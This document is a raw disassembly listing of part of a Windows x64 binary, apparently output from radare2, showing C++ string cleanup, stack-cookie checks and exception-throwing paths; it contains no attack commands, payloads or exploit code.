jb 0x14000f0ad
inc rdx
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f0a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f333
call fcn.14001d650
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x14000f0f0
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f0eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f339
call fcn.14001d650
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xf8], 0
mov rdx, qword [rsp + 0x240]
cmp rdx, 8
jb 0x14000f154
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f14f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f33f
call fcn.14001d650
mov qword [rsp + 0x238], r12
mov qword [rsp + 0x240], 7
mov word [rsp + 0x228], r12w
mov rdx, qword [rsp + 0x260]
cmp rdx, 0x10
jb 0x14000f1b4
inc rdx
mov rcx, qword [rsp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f1af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f345
call fcn.14001d650
movdqa xmm0, xmmword [0x1400c9780]
movdqu xmmword [rsp + 0x258], xmm0
mov byte [rsp + 0x248], 0
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 8
jb 0x14000f216
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f210
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f34b
call fcn.14001d650
nop
xor eax, eax
mov rcx, qword [rsp + 0x7a0]
xor rcx, rsp
call fcn.14001d630
lea r11, [rsp + 0x7b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.1400016b0
nop
call fcn.14007c430
nop
call fcn.1400016b0
call fcn.140001610
nop
call fcn.1400016b0
nop
call fcn.1400016b0
call fcn.140001610
call fcn.140001610
nop
call fcn.14007c430
nop
call fcn.14007c430
int3
call fcn.1400016b0
nop
test dl, 4
je 0x14000f297
lea rbx, str.ios_base::badbit_set
jmp 0x14000f2ac
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0xa0]
call fcn.140001780
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.1400026b0
lea rdx, [0x1400d4b40]
lea rcx, [rsp + 0xb0]
call fcn.140073f28
call fcn.1400016b0
nop
call fcn.14007c430
int3
call fcn.1400016b0
call fcn.1400016b0
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
int3
call fcn.14007c430
nop
call fcn.14007c430
nop
lea rcx, str.invalid_char_filename_argument
call fcn.14001ab58
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
nop
call fcn.14007c430
int3